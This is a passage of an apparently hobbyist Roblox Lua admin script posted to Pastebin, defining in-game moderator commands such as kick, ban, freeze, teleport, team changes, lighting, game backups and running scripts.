  538. elseif (Child.ClassName=="Hat") then
  539. local Handle=Child:FindFirstChild("Handle");
  540. if (Handle~=nil) then
  541. if (Handle.ClassName=="Part") then
  542. Handle.Transparency=0;
  543. end
  544. end
  545. end
  546. end
  547. end
  548. end
  549. end
  550. end)
  551. RunModule("CommandModule","kick","Kicks the given user from the game","b7","#cs#(.+)",function(Speaker,...)
  552. local Targets=RunModule("GetPlayer",...,Speaker);
  553. if (Targets~=nil) then
  554. for Index,Target in pairs(Targets) do
  555. RunModule("DisposePlayer",Target,Speaker);
  556. end
  557. end
  558. end)
  559. RunModule("CommandModule","freezeon","Freezes the given user","fron","#cs#(.+)",function(Speaker,...)
  560. local Targets=RunModule("GetPlayer",...,Speaker);
  561. if (Targets~=nil) then
  562. for Index,Target in pairs(Targets) do
  563. if (Target.Character~=nil) then
  564. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  565. if (Child.ClassName=="Part") then
  566. Child.Anchored=true;
  567. elseif (Child.ClassName=="Humanoid") then
  568. Child.WalkSpeed=0;
  569. end
  570. end
  571. end
  572. end
  573. end
  574. end)
  575. RunModule("CommandModule","freezeoff","Thaws the given user","froff","#cs#(.+)",function(Speaker,...)
  576. local Targets=RunModule("GetPlayer",...,Speaker);
  577. if (Targets~=nil) then
  578. for Index,Target in pairs(Targets) do
  579. if (Target.Character~=nil) then
  580. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  581. if (Child.ClassName=="Part") then
  582. Child.Anchored=false;
  583. elseif (Child.ClassName=="Humanoid") then
  584. Child.WalkSpeed=16;
  585. end
  586. end
  587. end
  588. end
  589. end
  590. end)
  591. RunModule("CommandModule","maxplayers","Sets the server's MaxPlayers.","mp","#cs#(%d+)",function(Speaker,Integer)
  592. if (Integer~=nil) and (Integer>0) then
  593. game:GetService("Players").MaxPlayers=Integer;
  594. end
  595. end)
  596. RunModule("CommandModule","time","Sets the ambient time","tm","#cs#(%w+)",function(Speaker,Input)
  597. local ParsedInput;
  598. if (Input=="dawn" or Input=="sunrise") then
  599. ParsedInput=6;
  600. elseif (Input=="noon" or Input=="midday") then
  601. ParsedInput=12;
  602. elseif (Input=="middnight") then
  603. ParsedInput=0;
  604. elseif (Input=="random") then
  605. ParsedInput=math.random(0,24);
  606. end
  607. if (ParsedInput==nil) and (Input:find("(%d+)")==1) then
  608. ParsedInput=Input:match("%d+");
  609. end
  610. pcall(function() game:GetService("Lighting").TimeOfDay=ParsedInput; end)
  611. end)
  612. RunModule("CommandModule","brightness","Sets the ambient brightness","b12","#cs#(%d+)",function(Speaker,Integer)
  613. if (Integer~=nil) then
  614. game:GetService("Lighting").Brightness=tonumber(Integer);
  615. end
  616. end)
  617. RunModule("CommandModule","newteam","Creates a new team","newt","#cs#(.+)",function(Speaker,Input)
  618. local Teams=game:GetService("Teams");
  619. local Team=NewInstance("Team");
  620. local TeamName,R,G,B=Input:match(RunModule("ParseMatch","(.-)#cs#(%d+),(%d+),(%d+)"));
  621. if (R~=nil) and (G~=nil) and (B~=nil) then
  622. Team.TeamColor=NewBrickColor(R/255,G/255,B/255);
  623. Team.Name=TeamName;
  624. Team.AutoColorCharacters=false;
  625. Team.Parent=Teams;
  626. else
  627. Team.TeamColor=RandomBrickColor();
  628. Team.Name=Input;
  629. Team.AutoColorCharacters=false;
  630. Team.Parent=Teams;
  631. end
  632. end,true)
  633. RunModule("CommandModule","switchteam","Switches the given user to a different team","swt","#cs#(.-)#cs#(.+)",function(Speaker,Usernames,TeamName)
  634. local Targets=RunModule("GetPlayer",Usernames,Speaker);
  635. local Teams=game:GetService("Teams");
  636. local SelectedTeam;
  637. for TeamIndex,Team in pairs(Teams:GetTeams()) do
  638. if (Team.Name:lower():find(TeamName)==1) then
  639. SelectedTeam=Team;
  640. end
  641. end
  642. if (SelectedTeam==nil) then return end
  643. if (Targets~=nil) then
  644. for Index,Target in pairs(Targets) do
  645. Target.TeamColor=SelectedTeam.TeamColor;
  646. Target.Neutral=false;
  647. end
  648. end
  649. end)
  650. RunModule("CommandModule","removeteam","Removes the given team","remt","#cs#(.+)",function(Speaker,TeamName)
  651. local Teams=game:GetService("Teams");
  652. for Index,Team in pairs(Teams:GetTeams()) do
  653. if (Team.Name:lower():find(TeamName:lower())==1) then
  654. Team:Remove();
  655. end
  656. end
  657. if (#Teams:GetTeams()==0) then
  658. for Index,Player in pairs(game:GetService("Players"):GetPlayers()) do
  659. Player.Neutral=true;
  660. end
  661. end
  662. end)
  663. RunModule("CommandModule","neutralon","Makes the given user neutral (Player.Neutral)","neuon","#cs#(.+)",function(Speaker,...)
  664. local Targets=RunModule("GetPlayer",...,Speaker);
  665. if (Targets~=nil) then
  666. for Index,Target in pairs(Targets) do
  667. Target.Neutral=true;
  668. end
  669. end
  670. end)
  671. RunModule("CommandModule","neutraloff","Makes the given user not neutral (Player.Neutral)","neuoff","#cs#(.+)",function(Speaker,...)
  672. local Targets=RunModule("GetPlayer",...,Speaker);
  673. if (Targets~=nil) then
  674. for Index,Target in pairs(Targets) do
  675. Target.Neutral=false;
  676. end
  677. end
  678. end)
  679. RunModule("CommandModule","adminlist","Shows the admin list","cal","#cs#",function(Speaker)
  680. local Index=0;
  681. local DisplayText=string.rep(" ",40).."Adminlist: "..table.concat(MaskAdminlist,", ");
  682. local Hint=RunModule("ShowHint",Speaker,DisplayText);
  683. while RunModule("ScrollText",DisplayText,Index)~="" do
  684. Hint.Text=RunModule("ScrollText",DisplayText,Index);
  685. Index=Index+1;
  686. wait(0.05);
  687. end
  688. Hint.Parent=nil;
  689. end)
  690. RunModule("CommandModule","bannedlist","Shows the banned list","cbl","#cs#",function(Speaker)
  691. local Index=0;
  692. local DisplayText=string.rep(" ",40).."Bannedlist: "..table.concat(Bannedlist,", ");
  693. local Hint=RunModule("ShowHint",Speaker,DisplayText);
  694. while RunModule("ScrollText",DisplayText,Index)~="" do
  695. Hint.Text=RunModule("ScrollText",DisplayText,Index);
  696. Index=Index+1;
  697. wait(0.05);
  698. end
  699. Hint.Parent=nil;
  700. end)
  701. RunModule("CommandModule","hint","Creates a hint","hn","#cs#(.+)",function(Speaker,Text)
  702. local Hint=NewInstance("Hint")
  703. Hint.Parent=Workspace;
  704. Hint.Text=Text;
  705. delay(5,function() Hint:Remove() end)
  706. end,true)
  707. RunModule("CommandModule","message","Creates a message","ms","#cs#(.+)",function(Speaker,Text)
  708. local Hint=NewInstance("Message")
  709. Hint.Parent=Workspace;
  710. Hint.Text=Text;
  711. delay(5,function() Hint:Remove() end)
  712. end,true)
  713. RunModule("CommandModule",RunModule("ParseMatch","ban#cs#t"),"Bans the given user","bn","#cs#(.+)",function(Speaker,...)
  714. local Targets=RunModule("GetPlayer",...,Speaker);
  715. if (Targets~=nil) then
  716. for Index,Target in pairs(Targets) do
  717. if (RunModule("DisposePlayer",Target,Speaker)) then
  718. Bannedlist[#Bannedlist+1]=Target.Name;
  719. end
  720. end
  721. end
  722. end)
  723. RunModule("CommandModule",RunModule("ParseMatch","ban#cs#f"),"Unbans the given name","ub","#cs#(.+)",function(Speaker,Input)
  724. if (Input=="all") then
  725. Bannedlist={};
  726. end
  727. for Index,Username in pairs(Bannedlist) do
  728. if (Username:lower():find(Input)==1) then
  729. RunModule("ShowHint",Speaker,"Unbanning: "..Username,5);
  730. table.remove(Bannedlist,Index);
  731. end
  732. end
  733. end)
  734. RunModule("CommandModule","respawn","Respawns the given user","rs","#cs#(.+)",function(Speaker,...)
  735. local Targets=RunModule("GetPlayer",...,Speaker)
  736. if (Targets~=nil) then
  737. for Index,Target in pairs(Targets) do
  738. local Model=NewInstance("Model")
  739. local Torso=NewInstance("Part")
  740. local Humanoid=NewInstance("Humanoid")
  741. Torso.Name="Torso";
  742. Torso.CanCollide=false;
  743. Torso.Anchored=false;
  744. Torso.Transparency=1;
  745. Torso.Parent=Model;
  746. Humanoid.Parent=Model;
  747. Model.Name=Target.Name;
  748. Model.Parent=Workspace;
  749. Target.Character=Model;
  750. end
  751. end
  752. end)
  753. RunModule("CommandModule","resetappearance","Resets the CharacterAppearance of the given user","ra","#cs#(.+)",function(Speaker,...)
  754. local Targets=RunModule("GetPlayer",...,Speaker);
  755. if (Targets~=nil) then
  756. for Index,Target in pairs(Targets) do
  757. pcall(function() Target.CharacterAppearance="http://www.roblox.com/Asset/CharacterFetch.ashx?UserID="..Target.userId.."&PlaceId="..game.PlaceId; end)
  758. pcall(function() Target.Character:BreakJoints(); end)
  759. end
  760. end
  761. end)
  762. RunModule("CommandModule","changeappearance","Sets the CharacterAppearance of the given user","ca","#cs#(.-)#cs#(%d+)",function(Speaker,Input,Integer)
  763. if (tonumber(Integer)==nil) or (Input==nil) then return end
  764. local Targets=RunModule("GetPlayer",Input,Speaker)
  765. if (Targets~=nil) then
  766. for Index,Target in pairs(Targets) do
  767. pcall(function() Target.CharacterAppearance="http://www.roblox.com/Asset/CharacterFetch.ashx?UserID="..Integer.."&PlaceId="..game.PlaceId; end)
  768. pcall(function() Target.Character:BreakJoints(); end)
  769. end
  770. end
  771. end)
  772. RunModule("CommandModule","sparkleson","Makes the given user look sparkley","spon","#cs#(.+)",function(Speaker,...)
  773. local Targets=RunModule("GetPlayer",...,Speaker);
  774. if (Targets~=nil) then
  775. for Index,Target in pairs(Targets) do
  776. if (Target.Character~=nil) then
  777. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  778. if (Child.ClassName=="Part") then
  779. local Sparkles=NewInstance("Sparkles")
  780. Sparkles.SparkleColor=NewColor3(0,0,1);
  781. Sparkles.Parent=Child;
  782. end
  783. end
  784. end
  785. end
  786. end
  787. end)
  788. RunModule("CommandModule","sparklesoff","Removes the sparkles from the given user","spoff","#cs#(.+)",function(Speaker,...)
  789. local Targets=RunModule("GetPlayer",...,Speaker);
  790. if (Targets~=nil) then
  791. for Index,Target in pairs(Targets) do
  792. if (Target.Character~=nil) then
  793. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  794. if (Child.ClassName=="Part") then
  795. for InnerIndex,InnerChild in pairs(Child:GetChildren()) do
  796. if (InnerChild.ClassName=="Sparkles") then
  797. InnerChild:Remove()
  798. end
  799. end
  800. end
  801. end
  802. end
  803. end
  804. end
  805. end)
  806. RunModule("CommandModule","scrollingmessage","Creates a scrolling message","sm","#cs#(.+)",function(Speaker,String)
  807. local Message=NewInstance("Message");
  808. Message.Parent=Workspace;
  809. local Effect=NewInstance("Sound");
  810. Effect.SoundId="rbxasset://sounds\\switch.wav";
  811. Effect.Parent=Workspace;
  812. for Index=1,#String do
  813. Effect:Play();
  814. Message.Text=Message.Text..String:sub(Index,Index);
  815. wait(0.09);
  816. end
  817. wait(0.5);
  818. Message.Parent=nil;
  819. Effect.Parent=nil;
  820. end,true)
  821. RunModule("CommandModule","speed","Changes the WalkSpeed of the given user","ws","#cs#(.-)#cs#(%d+)",function(Speaker,Input,Integer)
  822. local Targets=RunModule("GetPlayer",Input,Speaker);
  823. if (Targets~=nil) and (Integer~=nil) then
  824. for Index,Target in pairs(Targets) do
  825. if (Target.Character~=nil) then
  826. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  827. if (Child.ClassName=="Humanoid") then
  828. Child.WalkSpeed=Integer;
  829. end
  830. end
  831. end
  832. end
  833. end
  834. end)
  835. RunModule("CommandModule","shutdown","Shuts the server down","sd","#cs#",function(Speaker)
  836. if (not RunModule("IsAdmin",Speaker)) then return end
  837. RunModule("Shutdown");
  838. end)
  839. RunModule("CommandModule",RunModule("ParseMatch","admin#cs#t"),"Makes the given user a temporary admin","ad","#cs#(.+)",function(Speaker,...)
  840. if (not RunModule("IsAdmin",Speaker)) then return end
  841. local Targets=RunModule("GetPlayer",...,Speaker);
  842. if (Targets~=nil) then
  843. for Index,Target in pairs(Targets) do
  844. table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end);
  845. AdminConnectionList[#AdminConnectionList+1]=Target.Chatted:connect(function(Message) RunModule("PlayerChat",Message,Player); end)
  846. AdminUserList[#AdminUserList+1]=Target.Name;
  847. end
  848. end
  849. end)
  850. RunModule("CommandModule",RunModule("ParseMatch","admin#cs#f"),"Removes the given user's temporary admin","ua","#cs#(.+)",function(Speaker,...)
  851. if (not RunModule("IsAdmin",Speaker)) then return end
  852. local Targets=RunModule("GetPlayer",...,Speaker);
  853. if (Targets~=nil) then
  854. for Index,Target in pairs(Targets) do
  855. table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Target.Name:lower()) then Connection:disconnect(); end end)
  856. end
  857. end
  858. end)
  859. RunModule("CommandModule","script","Runs a script","sc","#cs#(.+)",function(Speaker,...) RunModule("CreateScript",...,Workspace); end,true);
  860. RunModule("CommandModule","tool","Inserts the given tool","gt","#cs#(.-)#cs#(.+)",function(Speaker,Input,ToolName)
  861. local InsertService=game:GetService("InsertService") -- My least favorite service
  862. local Collection=InsertService:GetCollection(-92629280);
  863. local Tool=nil;
  864. local PreparedTool=nil;
  865. for Index,Model in pairs(Collection) do
  866. if (Model.Name:lower()=="tool."..tostring(ToolName):lower()) then
  867. Tool=InsertService:LoadAssetVersion(Model.AssetVersionId);
  868. break
  869. end
  870. end
  871. if (Tool~=nil) then
  872. PreparedTool=Tool:GetChildren()[1];
  873. end
  874. local Targets=RunModule("GetPlayer",Input,Speaker);
  875. if (Targets~=nil) then
  876. for Index,Target in pairs(Targets) do
  877. PreparedTool:Clone().Parent=Target:FindFirstChild("Backpack");
  878. end
  879. end
  880. end)
  881. RunModule("CommandModule",RunModule("ParseMatch","ban#cs#d"),"Bans the given user using data persistence for the given amount of hours.","dpb","#cs#(.-)#cs#(%d+)",function(Speaker,Input,Length)
  882. if (Input==nil) or (Length==nil) then return end
  883. local Targets=RunModule("GetPlayer",Input,Speaker);
  884. if (Targets~=nil) then
  885. for Index,Target in pairs(Targets) do
  886. if (RunModule("DisposePlayer",Target,Speaker,true)==true) then
  887. pcall(Target.SaveString,Target,DataKey,RunModule("ConvertTable",{Type=0,UnbanAt=math.floor(tick()+(tonumber(Length)*3600))}));
  888. RunModule("DisposePlayer",Target,Speaker);
  889. end
  890. end
  891. end
  892. end)
  893. RunModule("CommandModule","restoregame","Restores the game to it's state when the backup was created","rg","#cs#(.+)",function(Speaker,Input)
  894. if (Input==nil) then return end
  895. if (GameBackups[Input]==nil) then
  896. RunModule("ShowHint",Speaker,"That backup key doesn't exist.",5);
  897. return
  898. end
  899. RunModule("RestoreGame",Input);
  900. end)
  901. RunModule("CommandModule","backupgame","Backs up the game so you casn restore it later","bg","#cs#(.+)",function(Speaker,Input)
  902. if (Input==nil) then return end
  903. if (GameBackups[Input]~=nil) then
  904. RunModule("ShowHint",Speaker,"That backup key already exists.",5);
  905. return
  906. end
  907. RunModule("BackupGame",Input);
  908. RunModule("ShowHint",Speaker,"Backup created",5);
  909. end)
  910. RunModule("CommandModule","teleport","Teleports two or more users together","tp","#cs#(.-)#cs#(.+)",function(Speaker,Input1,Input2)
  911. if (Input1==nil) or (Input2==nil) then return end
  912. local Targets1,Targets2=RunModule("GetPlayer",Input1,Speaker),RunModule("GetPlayer",Input2,Speaker);
  913. if (Targets1==nil) or (Targets2==nil) then return end
  914. if (#Targets2~=1) then return end
  915. for Index,Target in pairs(Targets1) do
  916. if (Target.Character~=nil) and (Targets2[1].Character~=nil) then
  917. local Torso=Target.Character:FindFirstChild("Torso");
  918. local Torso2=Targets2[1].Character:FindFirstChild("Torso");
  919. if (Torso~=nil) and (Torso2~=nil) then
  920. Torso.CFrame=Torso2.CFrame;
  921. end
  922. end
  923. end
  924. end)
  925. RunModule("CommandModule","pri","Toggles the private server settings","ps","#cs#(%w+)",function(Speaker,Input)
  926. if (Input=="true") or (Input=="yes") or (Input=="1") or (Input=="on") then
  927. SetSystemSetting("PrivateServer",true);
  928. elseif (Input=="false") or (Input=="no") or (Input=="0") or (Input=="off") then
  929. SetSystemSetting("PrivateServer",false);
  930. end
  931. end)
  932. RunModule("CommandModule","scriptl","Creates a pseudo-LocalScript targeted at the speaker, with the given source.","scl","#cs#(.+)",function(Speaker,Input)
  933. if (Input==nil) then return end
  934. RunModule("CreateScript",[[local LocalBin=Instance.new("HopperBin");
  935. LocalBin.Parent=game:GetService("Players")["]]..Speaker.Name..[["].Backpack;
  936. LocalBin.Name="LocalBin";
  937. if (game:GetService("Players").LocalPlayer==nil) then return end
  938. ]]..Input,Workspace);
  939. end,true)
  940. RunModule("CommandModule","clear","Clears the game of all objects, excluding this script and players","cln","#cs#",function(Speaker)
  941. local Children=Workspace:GetChildren();
  942. for ChildIndex,Child in pairs(Children) do
  943. if (Child~=script) then
  944. pcall(function() Child:Remove(); end);
  945. end
  946. end
  947. end)
  948. RunModule("CommandModule",RunModule("ParseMatch","ban#cs#p"),"Uses data persistence to ban the given user for the given amount of hours.","db","#cs#(.-)#cs#(%d+)",function(Speaker,Input,Length)
  949. if (Input==nil) or (Length==nil) then return end
  950. local Targets=RunModule("GetPlayer",Input,Speaker);
  951. if (Targets==nil) then return end
  952. for Index,Target in pairs(Targets) do
  953. if (RunModule("DisposePlayer",Target,Speaker,true)==true) then
  954. pcall(function() Target:SaveString(DataKey,Target:LoadString(DataKey)..RunModule("ConvertTable",{Type=0,Value=math.floor(tick()+(tonumber(Length)*3600))})) end)
  955. RunModule("DisposePlayer",Target,Speaker);
  956. end
  957. end
  958. end)
  959. RunModule("CommandModule","newbase","Creates a new baseplate","nb","#cs#",function(Speaker)
  960. local Base=NewInstance("Part");
  961. Base.Size=NewVector3(512,1,512);
  962. Base.Name="Base";
  963. Base.CFrame=NewCFrame(0,0,0);
  964. Base.Anchored=true;
  965. Base.Locked=true;
  966. Base.BrickColor=NewBrickColor("Earth green");
  967. Base.Parent=Workspace;
  968. end)
  969. RunModule("CommandModule","fireon","Gives the given user fire","fion","#cs#(.+)",function(Speaker,...)
  970. local Targets=RunModule("GetPlayer",...,Speaker);
  971. if (Targets~=nil) then
  972. for Index,Target in pairs(Targets) do
  973. if (Target.Character~=nil) then
  974. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  975. if (Child.ClassName=="Part") then
  976. local Fire=NewInstance("Fire")
  977. Fire.SparkleColor=NewColor3(0,0,1);
  978. Fire.Parent=Child;
  979. end
  980. end
  981. end
  982. end
  983. end
  984. end)
  985. RunModule("CommandModule","fireoff","Removes the given user's fire","fioff","#cs#(.+)",function(Speaker,...)
  986. local Targets=RunModule("GetPlayer",...,Speaker);
  987. if (Targets~=nil) then
  988. for Index,Target in pairs(Targets) do
  989. if (Target.Character~=nil) then
  990. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  991. if (Child.ClassName=="Part") then
  992. for InnerIndex,InnerChild in pairs(Child:GetChildren()) do
  993. if (InnerChild.ClassName=="Fire") then
  994. InnerChild:Remove()
  995. end
  996. end
  997. end
  998. end
  999. end
  1000. end
  1001. end
  1002. end)
  1003. RunModule("CommandModule","explode","Explodes the given user","exp","#cs#(.+)",function(Speaker,Input)
  1004. local Targets=RunModule("GetPlayer",Input,Speaker);
  1005. if (Targets~=nil) then
  1006. for Index,Target in pairs(Targets) do
  1007. if (Target.Character~=nil) then
  1008. local Part=Target.Character:FindFirstChild("Torso");
  1009. if (Part~=nil) then
  1010. local Explosion=NewInstance("Explosion");
  1011. Explosion.Position=Part.Position;
  1012. Explosion.BlastPressure=50000;
  1013. Explosion.BlastRadius=5;
  1014. Explosion.Parent=Workspace;
  1015. end
  1016. end
  1017. end
  1018. end
  1019. end)
  1020. RunModule("CommandModule","badgeservice","Provides an interface to BadgeService.","bas","#cs#(.-)#cs#(%d+)#cs#(.+)",function(Speaker,Function,AssetId,Input)
  1021. if (Input==nil) or (AssetId==nil) or (Function==nil) then return end
  1022. local FunctionMap={["ab"]="AwardBadge",["awardbadge"]="AwardBadge",["ub"]="UserHasBadge",["userhasbadge"]="UserHasBadge",["hb"]="UserHasBadge",["uhb"]="UserHasBadge"};
  1023. Function=FunctionMap[Function];
  1024. if (Function==nil) then return end
  1025. local Targets=RunModule("GetPlayer",Input,Speaker);
  1026. if (Targets==nil) then return end
  1027. for Index,Target in pairs(Targets) do
  1028. if (Function=="AwardBadge") then
  1029. game:GetService("BadgeService"):AwardBadge(Target.userId,AssetId);
  1030. elseif (Function=="UserHasBadge") then
  1031. local Result=game:GetService("BadgeService"):UserHasBadge(Target.userId,AssetId);
  1032. RunModule("ShowHint",Speaker,"User "..Target.Name..(Result and " has badge ") or (not Result and " does not have badge ")..AssetId,3);
  1033. end
  1034. end
  1035. end)
  1036. RunModule("CommandModule","invincibleon","Makes the user invincible","ion","#cs#(.+)",function(Speaker,Input)
  1037. local Targets=RunModule("GetPlayer",Input,Speaker)
  1038. if (Targets~=nil) then
  1039. for Index,Target in pairs(Targets) do
  1040. if (Target.Character~=nil) then
  1041. NewInstance("ForceField",Target.Character);
  1042. for Index,Child in pairs(Target.Character:GetChildren()) do
  1043. if (Child:IsA("Humanoid")) then
  1044. Child.MaxHealth=math.huge;
  1045. Child.Health=math.huge;
  1046. Child.WalkSpeed=35;
  1047. elseif (Child:IsA("BasePart")) then
  1048. Child.Transparency=1;
  1049. Instance.new("Sparkles",Child);
  1050. elseif (Child:IsA("Hat")) then
  1051. pcall(function() Child.Handle.Transparency=1; end);
  1052. end
  1053. end
  1054. end
  1055. end
  1056. end
  1057. end)
  1058. RunModule("CommandModule","invincibleoff","Makes the user mortal","ioff","#cs#(.+)",function(Speaker,Input)
  1059. local Targets=RunModule("GetPlayer",Input,Speaker)
  1060. if (Targets~=nil) then
  1061. for Index,Target in pairs(Targets) do
  1062. if (Target.Character~=nil) then
  1063. for Index,Child in pairs(Target.Character:GetChildren()) do
  1064. if (Child:IsA("ForceField")) then
  1065. Child:Remove();
  1066. elseif (Child:IsA("Humanoid")) then
  1067. Child.Health=100;
  1068. Child.MaxHealth=100;
  1069. Child.WalkSpeed=16;
  1070. elseif (Child:IsA("BasePart")) then
  1071. Child.Transparency=0;
  1072. for SparkleIndex,SparkleChild in pairs(Child:GetChildren()) do
  1073. if (SparkleChild:IsA("Sparkles")) then
  1074. SparkleChild:Remove();
  1075. end
  1076. end
  1077. elseif (Child:IsA("Hat")) then
  1078. pcall(function() Child.Handle.Transparency=0; end);
  1079. end
  1080. end
  1081. end
  1082. end
  1083. end
  1084. end)
  1085. game:GetService("Players").PlayerAdded:connect(function(...) RunModule("AddPlayer",...); end)
  1086. game:GetService("Players").PlayerRemoving:connect(function(...) RunModule("RemovePlayer",...); end)
  1087. table.foreach(game:GetService("Players"):GetPlayers(),function(Index,Player) RunModule("AddPlayer",Player); end)
  1088. pcall(function() RunModule("BackupGame","i") end) -- Updates keep breaking stuff...
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!